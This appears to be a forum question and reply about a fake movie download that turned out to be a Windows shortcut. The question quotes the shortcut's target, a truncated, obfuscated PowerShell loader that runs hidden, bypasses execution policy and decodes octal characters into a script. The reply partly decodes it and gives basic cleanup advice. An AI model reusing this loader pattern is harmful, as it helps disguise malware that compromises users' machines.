In Windows 10 I downloaded this file that I thought was a movie but it was a short-cut with a size of 700MB
I see that the target is this
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP . ( $pshOmE+$PShoMe+'X') ( -JoiN( (44 ,141, 163,160 , 170 ,40 , 75, 40 , 50,50 ,116 , 145 ,167,55 , 117 , 142 , 152,145 , 143 , 164,40,123 ,171,163,164 , 145,155,56 ,116
And it was set to start at
What does it do?
$aspx = ((New-Object System.N, but it would need a lot more of these to be able to work out what it is intended to do. If it has installed a Trojan, such as a key logger, then you won't be aware of its presence. Disconnect from the internet, restart (not reboot) and run a full virus scan (including root-kit scan). Depending on its nature it could have infected other systems in your network.